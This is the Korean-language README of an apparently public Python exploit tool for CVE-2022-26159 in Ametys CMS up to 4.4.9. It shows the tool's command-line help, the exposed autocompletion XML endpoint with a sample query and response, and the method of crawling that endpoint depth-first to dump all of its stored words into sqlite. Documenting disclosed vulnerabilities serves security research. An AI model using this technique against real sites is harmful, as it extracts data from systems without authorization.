
Ametys CMS의 자동 완성 플러그인에 저장된 모든 데이터를 로컬 sqlite 데이터베이스 파일로 자동으로 덤프하는 Python 익스플로잇입니다.
$ ./CVE-2022-26159-Ametys-Autocompletion-XML.py -h
CVE-2022-26159-Ametys-Autocompletion-XML v1.1 - by @podalirius
usage: CVE-2022-26159-Ametys-Autocompletion-XML.py [-h] -t TARGET [-H HEADERS] [-k] [-v | -q] [--no-colors]
Description message
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
arg1 help message
-H HEADERS, --header HEADERS
Specify HTTP headers to use in requests. (e.g., --header "Header1: Value1" --header "Header2: Value2")
-k, --insecure Disable SSL/TLS warnings and certificate verification.
-v, --verbose Verbose mode. (default: False)
-q, --quiet Quiet mode. (default: False)
--no-colors Disables colored output. (default: False)
Ametys CMS <= 4.4.9의 자동 완성 플러그인은 다음 주소에서 단어 목록이 포함된 XML 파일을 공개적으로 노출합니다:
https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml
이 데이터베이스에 요청을 수행하려면 공격자는 q(쿼리) 매개변수에 단어의 시작 부분을 입력하기만 하면 됩니다:
https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml?q=adm
그러면 자동 완성 플러그인이 adm(쿼리에서)으로 시작하는 처음 10개의 일치하는 단어를 XML 파일로 반환합니다:
<?xml version="1.0" encoding="UTF-8"?>
<auto-completion>
<item>administrateur</item>
<item>administrateurs</item>
<item>administratif</item>
<item>administratifs</item>
<item>administration</item>
<item>administrations</item>
<item>administrative</item>
<item>administratives</item>
<item>administres</item>
<item>admission</item>
</auto-completion>
이를 염두에 두고, 공격자는 API에 대한 깊이 우선 탐색을 수행하여 그 내용을 모두 추출하기만 하면 됩니다.
풀 리퀘스트를 환영합니다. 다른 기능을 추가하고 싶다면 이슈를 열어 주세요.